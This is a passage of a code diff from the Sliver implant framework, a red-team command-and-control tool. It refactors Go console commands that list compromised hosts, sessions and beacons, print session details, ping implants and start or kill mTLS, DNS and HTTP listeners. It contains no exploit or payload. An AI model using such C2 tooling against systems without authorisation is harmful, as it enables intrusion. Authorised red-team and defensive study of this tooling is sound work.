"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// HostsCmd - Main hosts command
|
||||
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(allHosts.Hosts) {
|
||||
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
|
||||
} else {
|
||||
con.PrintInfof("No hosts\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
"Extensions",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
if len(host.HostUUID) < 8 {
|
||||
shortID = host.HostUUID[:len(host.HostUUID)]
|
||||
} else {
|
||||
shortID = host.HostUUID[:8]
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return "Error"
|
||||
}
|
||||
count := 0
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.UUID == hostUUID {
|
||||
count++
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return "None"
|
||||
} else {
|
||||
return fmt.Sprintf("%d", count)
|
||||
}
|
||||
}
|
||||
|
||||
// SessionsForHost - Find session for a given host by id
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []*clientpb.Session{}
|
||||
}
|
||||
hostSessions := []*clientpb.Session{}
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.UUID == hostUUID {
|
||||
hostSessions = append(hostSessions, session)
|
||||
}
|
||||
}
|
||||
return hostSessions
|
||||
}
|
||||
|
||||
// SelectHost - Interactively select a host from the database
|
||||
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var hostMap = make(map[string]*clientpb.Host)
|
||||
for _, host := range allHosts.Hosts {
|
||||
keys = append(keys, host.HostUUID)
|
||||
hostMap[host.HostUUID] = host
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
host := hostMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a host:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return hostMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
for ifaceIndex, iface := range ifconfig.NetInterfaces {
|
||||
fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex)
|
||||
if 0 < len(iface.MAC) {
|
||||
fmt.Printf(" MAC Address: %s\n", iface.MAC)
|
||||
}
|
||||
for _, ip := range iface.IPAddresses {
|
||||
|
||||
// Try to find local IPs and colorize them
|
||||
subnet := -1
|
||||
if strings.Contains(ip, "/") {
|
||||
parts := strings.Split(ip, "/")
|
||||
subnetStr := parts[len(parts)-1]
|
||||
subnet, err = strconv.Atoi(subnetStr)
|
||||
if err != nil {
|
||||
subnet = -1
|
||||
}
|
||||
}
|
||||
|
||||
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
||||
fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal)
|
||||
} else if 32 < subnet && !isLoopback(ip) {
|
||||
fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal)
|
||||
} else {
|
||||
fmt.Printf(" IP Address: %s\n", ip)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isLoopback(ip string) bool {
|
||||
if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,109 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
var session *clientpb.Session
|
||||
if ActiveSession.GetInteractive() != nil {
|
||||
session = ActiveSession.GetInteractive()
|
||||
} else if 0 < len(ctx.Args) {
|
||||
session = GetSession(ctx.Args[0], rpc)
|
||||
}
|
||||
|
||||
if session != nil {
|
||||
fmt.Printf(bold+" ID: %s%d\n", normal, session.ID)
|
||||
fmt.Printf(bold+" Name: %s%s\n", normal, session.Name)
|
||||
fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname)
|
||||
fmt.Printf(bold+" Username: %s%s\n", normal, session.Username)
|
||||
fmt.Printf(bold+" UID: %s%s\n", normal, session.UID)
|
||||
fmt.Printf(bold+" GID: %s%s\n", normal, session.GID)
|
||||
fmt.Printf(bold+" PID: %s%d\n", normal, session.PID)
|
||||
fmt.Printf(bold+" OS: %s%s\n", normal, session.OS)
|
||||
fmt.Printf(bold+" Version: %s%s\n", normal, session.Version)
|
||||
fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch)
|
||||
fmt.Printf(bold+"Remote Address: %s%s\n", normal, session.RemoteAddress)
|
||||
} else {
|
||||
fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr)
|
||||
}
|
||||
}
|
||||
|
||||
func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
nonce := insecureRand.Intn(999999)
|
||||
fmt.Printf(Info+"Ping %d\n", nonce)
|
||||
pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{
|
||||
Nonce: int32(nonce),
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Pong %d\n", pong.Nonce)
|
||||
}
|
||||
}
|
||||
|
||||
func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%d\n", session.PID)
|
||||
}
|
||||
|
||||
func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s\n", session.UID)
|
||||
}
|
||||
|
||||
func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s\n", session.GID)
|
||||
}
|
||||
|
||||
func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
fmt.Printf("%s\n", session.Username)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Info
|
||||
====
|
||||
|
||||
Implements session information commands like `info`, `print`, `whoami`, etc.
|
||||
@@ -0,0 +1,124 @@
|
||||
package info
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// InfoCmd - Display information about the active session
|
||||
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, session.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, session.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, session.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
|
||||
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
|
||||
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
|
||||
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
}
|
||||
}
|
||||
|
||||
// PIDCmd - Get the active session's PID
|
||||
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
con.Printf("%d\n", session.PID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%d\n", beacon.PID)
|
||||
}
|
||||
}
|
||||
|
||||
// UIDCmd - Get the active session's UID
|
||||
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.UID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.UID)
|
||||
}
|
||||
}
|
||||
|
||||
// GIDCmd - Get the active session's GID
|
||||
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.GID)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.GID)
|
||||
}
|
||||
}
|
||||
|
||||
// WhoamiCmd - Displays the current user of the active session
|
||||
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package info
|
||||
|
||||
import (
|
||||
"context"
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
|
||||
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
nonce := insecureRand.Intn(999999)
|
||||
con.PrintInfof("Ping %d\n", nonce)
|
||||
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
|
||||
Nonce: int32(nonce),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Pong %d\n", pong.Nonce)
|
||||
}
|
||||
}
|
||||
@@ -1,212 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
|
||||
// "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
// "github.com/golang/protobuf/proto"
|
||||
)
|
||||
|
||||
func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
if ctx.Flags.Int("kill") != -1 {
|
||||
killJob(uint32(ctx.Flags.Int("kill")), rpc)
|
||||
} else if ctx.Flags.Bool("kill-all") {
|
||||
killAllJobs(rpc)
|
||||
} else {
|
||||
jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s", err)
|
||||
return
|
||||
}
|
||||
// Convert to a map
|
||||
activeJobs := map[uint32]*clientpb.Job{}
|
||||
for _, job := range jobs.Active {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
printJobs(activeJobs)
|
||||
} else {
|
||||
fmt.Printf(Info + "No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func killAllJobs(rpc rpcpb.SliverRPCClient) {
|
||||
jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, job := range jobs.Active {
|
||||
killJob(job.ID, rpc)
|
||||
}
|
||||
}
|
||||
|
||||
func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) {
|
||||
fmt.Printf(Info+"Killing job #%d ...\n", jobID)
|
||||
jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{
|
||||
ID: jobID,
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func startMTLSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
server := ctx.Flags.String("server")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
fmt.Printf(Info + "Starting mTLS listener ...\n")
|
||||
mtls, err := rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
|
||||
Host: server,
|
||||
Port: uint32(lport),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf("\n"+Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf("\n"+Info+"Successfully started job #%d\n", mtls.JobID)
|
||||
}
|
||||
}
|
||||
|
||||
func startDNSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
domains := strings.Split(ctx.Flags.String("domains"), ",")
|
||||
for _, domain := range domains {
|
||||
if !strings.HasSuffix(domain, ".") {
|
||||
domain += "."
|
||||
}
|
||||
}
|
||||
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
fmt.Printf(Info+"Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf("\n"+Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf("\n"+Info+"Successfully started job #%d\n", dns.JobID)
|
||||
}
|
||||
}
|
||||
|
||||
func startHTTPSListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
website := ctx.Flags.String("website")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Starting HTTPS %s:%d listener ...\n", domain, lport)
|
||||
https, err := rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf("\n"+Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf("\n"+Info+"Successfully started job #%d\n", https.JobID)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
|
||||
if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
key, err := ioutil.ReadFile(ctx.Flags.String("key"))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return cert, key, nil
|
||||
}
|
||||
|
||||
func startHTTPListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
fmt.Printf(Info+"Starting HTTP %s:%d listener ...\n", domain, lport)
|
||||
http, err := rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Successfully started job #%d\n", http.JobID)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Jobs
|
||||
=====
|
||||
|
||||
Implements commands related to starting/killing jobs like `jobs` and starting C2 listeners (`mtls`, `http`, etc.)
|
||||
@@ -0,0 +1,57 @@
|
||||
package jobs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DNSListenerCmd - Start a DNS lisenter
|
||||
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
domains := strings.Split(ctx.Flags.String("domains"), ",")
|
||||
for _, domain := range domains {
|
||||
if !strings.HasSuffix(domain, ".") {
|
||||
domain += "."
|
||||
}
|
||||
}
|
||||
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||
Domains: domains,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Successfully started job #%d\n", dns.JobID)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package jobs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HTTPListenerCmd - Start an HTTP listener
|
||||
func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
